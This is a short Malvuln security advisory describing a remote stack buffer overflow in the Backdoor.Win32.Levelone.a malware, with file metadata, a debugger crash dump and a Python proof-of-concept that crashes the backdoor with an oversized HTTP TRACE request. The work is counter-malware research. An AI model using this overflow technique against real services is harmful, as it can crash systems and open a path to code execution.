Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6a2d09c4527cf222e4e2571b074fcc0c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Levelone.a
Vulnerability: Remote Stack Buffer Overflow 
Description: The malware listens on Port 1500, sending a specially crafted HTTP TRACE request causes a buffer overflow and overwrites EIP with our payload. If testing you need delete the executable in order to run the malware again, c:\>del \Windows\SysWOW64\dllvector.exe
Packed with UPX so just upx -d to unpack.

Type: PE32
MD5: 6a2d09c4527cf222e4e2571b074fcc0c
Vuln ID: MVID-2021-0020
Dropped files: dllvector.exe
Network Access: Remote
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/10/2021

Memory Dump:

EAX : 000A139C
EBX : 0019FF70
ECX : 0040109A     dllvector.0040109A
EDX : 773E9D70     ntdll.773E9D70
EBP : 000A13A4
ESP : 000A1380
ESI : FFFFFFFF
EDI : 0040801C     dllvector.0040801C
EIP : 41414141


41414141 ??              ???

EXCEPTION_RECORD:  0019f7e8 -- (.exr 0x19f7e8)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  dllvector.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
+cbf7340
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS: 
+cbf7340
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019f838 -- (.cxr 0x19f838)
eax=0040b77e ebx=0040513c ecx=cbc27c7e edx=0019fbcc esi=0000663e edi=00006642
eip=41414141 esp=0019fc98 ebp=0019fcbc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???
Resetting default scope


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1500
JUNK="A"*7740
JUNK2="A"*7822
PAYLOAD="TRACE / "+JUNK+"HTTP/1."+JUNK+"\r\n"+MALWARE_HOST+"\r\nCookie: "+JUNK2+"\r\n\r\n"

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow")
print("MD5: 6a2d09c4527cf222e4e2571b074fcc0c")
print("By Malvuln")


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